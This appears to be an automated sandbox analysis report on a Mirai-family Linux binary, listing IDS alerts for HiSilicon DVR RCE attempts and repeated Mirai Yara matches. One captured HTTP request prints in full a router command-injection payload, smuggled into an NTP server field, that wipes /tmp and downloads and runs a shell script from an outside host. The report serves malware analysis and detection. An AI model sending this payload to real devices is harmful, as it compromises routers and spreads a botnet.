Timestamp:	05/16/24-16:38:57.408703
SID:	2030488
Source Port:	39994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.153.211.195

Timestamp:	05/16/24-16:38:55.187246
SID:	2030488
Source Port:	41640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.196.14.177

Timestamp:	05/16/24-16:39:02.726906
SID:	2030488
Source Port:	46096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.196.14.177

Timestamp:	05/16/24-16:39:02.726906
SID:	2030487
Source Port:	46096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.163.174.160

Timestamp:	05/16/24-16:39:14.491163
SID:	2030487
Source Port:	48834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.163.174.160

Timestamp:	05/16/24-16:39:14.491163
SID:	2030488
Source Port:	48834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.242.240.187

Timestamp:	05/16/24-16:39:14.492238
SID:	2030487
Source Port:	39084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.242.240.187

Timestamp:	05/16/24-16:39:14.492238
SID:	2030488
Source Port:	39084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.117.76.104

Timestamp:	05/16/24-16:38:55.207675
SID:	2030488
Source Port:	40614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.117.76.104

Timestamp:	05/16/24-16:38:55.207675
SID:	2030487
Source Port:	40614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.147.227.19

Timestamp:	05/16/24-16:38:59.558032
SID:	2030488
Source Port:	50726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.95.194.61

Timestamp:	05/16/24-16:39:02.726858
SID:	2030488
Source Port:	52560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.35.72.214

Timestamp:	05/16/24-16:39:14.494497
SID:	2030488
Source Port:	38616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.147.227.19

Timestamp:	05/16/24-16:38:59.558032
SID:	2030487
Source Port:	50726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.35.72.214

Timestamp:	05/16/24-16:39:14.494497
SID:	2030487
Source Port:	38616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.43.134.37

Timestamp:	05/16/24-16:38:57.435619
SID:	2030487
Source Port:	33834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.49.246.29

Timestamp:	05/16/24-16:38:53.071309
SID:	2030487
Source Port:	34270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.49.246.29

Timestamp:	05/16/24-16:38:53.071309
SID:	2030488
Source Port:	34270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.95.194.61

Timestamp:	05/16/24-16:39:02.726858
SID:	2030487
Source Port:	52560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.141.163.11

Timestamp:	05/16/24-16:39:05.706095
SID:	2030488
Source Port:	50734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.141.163.11

Timestamp:	05/16/24-16:39:05.706095
SID:	2030487
Source Port:	50734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.43.134.37

Timestamp:	05/16/24-16:38:57.435619
SID:	2030488
Source Port:	33834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.238.46.157

Timestamp:	05/16/24-16:39:14.492417
SID:	2030488
Source Port:	52364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.238.46.157

Timestamp:	05/16/24-16:39:14.492417
SID:	2030487
Source Port:	52364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.140.95.17

Timestamp:	05/16/24-16:39:12.403761
SID:	2030488
Source Port:	41110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.232.254.4

Timestamp:	05/16/24-16:39:05.717235
SID:	2030487
Source Port:	46182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.140.95.17

Timestamp:	05/16/24-16:39:12.403761
SID:	2030487
Source Port:	41110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.232.254.4

Timestamp:	05/16/24-16:39:05.717235
SID:	2030488
Source Port:	46182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

HTTP traffic detected: POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:5555User-Agent: r00ts3c-owned-youSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: -5848056Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 26 26 20 73 68 20 2f 74 6d 70 2f 62 6c 64 2e 73 68 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 60 65 63 68 6f 20 4f 4d 4e 49 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 60 65 63 68 6f 20 4f 4d 4e 49 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 60 65 63 68 6f 20 4f 4d 4e 49 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 60 65 63 68 6f 20 4f 4d 4e 49 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 3c 2f 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: 7ALXuklmvu.elf	String found in binary or memory: http://94.156.69.121/Cached/bld.sh
Source: 7ALXuklmvu.elf	String found in binary or memory: http://94.156.69.121/Cached/bld.sh;$
Source: 7ALXuklmvu.elf	String found in binary or memory: http://94.156.69.121/Cached/bld.sh;sh
Source: 7ALXuklmvu.elf	String found in binary or memory: http://94.156.69.121/Cached/bld.sh;sh$
Source: 7ALXuklmvu.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: 7ALXuklmvu.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 7ALXuklmvu.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7ALXuklmvu.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7044.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7073.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7000.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6659.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7430.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6323.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6747.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6308.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7055.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6261.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7315.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6813.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6785.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
